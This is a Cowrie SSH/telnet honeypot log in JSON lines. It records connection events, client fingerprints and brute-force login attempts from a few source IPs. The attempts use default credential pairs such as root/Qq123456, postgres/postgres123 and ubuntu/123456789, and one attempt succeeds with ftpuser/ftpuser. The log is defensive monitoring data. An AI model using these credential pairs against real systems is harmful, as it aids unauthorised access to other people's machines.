{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:01.847359Z","src_ip":"172.237.20.62","session":"89102be468b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:02.748078Z","src_ip":"176.65.132.129","session":"2c097eca2151","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46742,"dst_ip":"159.203.135.109","dst_port":22,"session":"40f056e273b7","protocol":"ssh","message":"New connection: 176.65.132.129:46742 (159.203.135.109:22) [session: 40f056e273b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:04.493640Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:04.498822Z","src_ip":"176.65.132.129","session":"40f056e273b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:04.584112Z","src_ip":"176.65.132.129","session":"40f056e273b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:04.997882Z","src_ip":"176.65.132.129","session":"40f056e273b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43064,"dst_ip":"10.17.0.5","dst_port":23,"session":"81f58ce42f11","protocol":"telnet","message":"New connection: 45.58.127.90:43064 (10.17.0.5:23) [session: 81f58ce42f11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:05.855502Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:06.085682Z","src_ip":"176.65.132.129","session":"40f056e273b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45246,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce82092a6f25","protocol":"ssh","message":"New connection: 176.65.132.129:45246 (159.203.135.109:22) [session: ce82092a6f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:07.808946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:07.849900Z","src_ip":"176.65.132.129","session":"ce82092a6f25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:07.901711Z","src_ip":"176.65.132.129","session":"ce82092a6f25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:08.218343Z","src_ip":"176.65.132.129","session":"ce82092a6f25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:09.302555Z","src_ip":"176.65.132.129","session":"ce82092a6f25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":53796,"dst_ip":"10.17.0.5","dst_port":23,"session":"79a84bf8c96a","protocol":"telnet","message":"New connection: 180.235.129.180:53796 (10.17.0.5:23) [session: 79a84bf8c96a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:09.659634Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":53494,"dst_ip":"159.203.135.109","dst_port":22,"session":"e134653596fd","protocol":"ssh","message":"New connection: 172.237.20.62:53494 (159.203.135.109:22) [session: e134653596fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:10.818792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:10.823074Z","src_ip":"172.237.20.62","session":"e134653596fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:10.981508Z","src_ip":"172.237.20.62","session":"e134653596fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45250,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed3deef5991a","protocol":"ssh","message":"New connection: 176.65.132.129:45250 (159.203.135.109:22) [session: ed3deef5991a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:11.042718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:11.047377Z","src_ip":"176.65.132.129","session":"ed3deef5991a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:11.129942Z","src_ip":"176.65.132.129","session":"ed3deef5991a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root2","password":"root2","message":"login attempt [root2/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:11.375856Z","src_ip":"176.65.132.129","session":"ed3deef5991a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:11.462238Z","src_ip":"172.237.20.62","session":"e134653596fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:12.563902Z","src_ip":"176.65.132.129","session":"ed3deef5991a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:12.624009Z","src_ip":"172.237.20.62","session":"e134653596fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45256,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d7d300a5331","protocol":"ssh","message":"New connection: 176.65.132.129:45256 (159.203.135.109:22) [session: 6d7d300a5331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:14.339908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:14.344506Z","src_ip":"176.65.132.129","session":"6d7d300a5331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:14.426580Z","src_ip":"176.65.132.129","session":"6d7d300a5331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:14.677574Z","src_ip":"176.65.132.129","session":"6d7d300a5331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:15.763870Z","src_ip":"176.65.132.129","session":"6d7d300a5331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43698,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f2c8c9c8a1d","protocol":"ssh","message":"New connection: 176.65.132.129:43698 (159.203.135.109:22) [session: 1f2c8c9c8a1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:17.650822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:17.655255Z","src_ip":"176.65.132.129","session":"1f2c8c9c8a1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:17.737060Z","src_ip":"176.65.132.129","session":"1f2c8c9c8a1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234qwer","message":"login attempt [test/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:17.982237Z","src_ip":"176.65.132.129","session":"1f2c8c9c8a1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:19.066801Z","src_ip":"176.65.132.129","session":"1f2c8c9c8a1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.900420904159546,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:20.559937Z","src_ip":"180.235.129.180","session":"79a84bf8c96a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43714,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f8df9f1833d","protocol":"ssh","message":"New connection: 176.65.132.129:43714 (159.203.135.109:22) [session: 1f8df9f1833d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:20.865537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:20.870611Z","src_ip":"176.65.132.129","session":"1f8df9f1833d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:20.957343Z","src_ip":"176.65.132.129","session":"1f8df9f1833d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:21.205972Z","src_ip":"176.65.132.129","session":"1f8df9f1833d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":36596,"dst_ip":"10.17.0.5","dst_port":23,"session":"22edce182790","protocol":"telnet","message":"New connection: 45.58.127.90:36596 (10.17.0.5:23) [session: 22edce182790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:21.581357Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":44848,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f9ce9fa724b","protocol":"ssh","message":"New connection: 172.237.20.62:44848 (159.203.135.109:22) [session: 8f9ce9fa724b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:21.690819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:21.695752Z","src_ip":"172.237.20.62","session":"8f9ce9fa724b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:21.858882Z","src_ip":"172.237.20.62","session":"8f9ce9fa724b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:22.348063Z","src_ip":"172.237.20.62","session":"8f9ce9fa724b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:51:22.379849Z","src_ip":"176.65.132.129","session":"1f8df9f1833d","protocol":"ssh"}
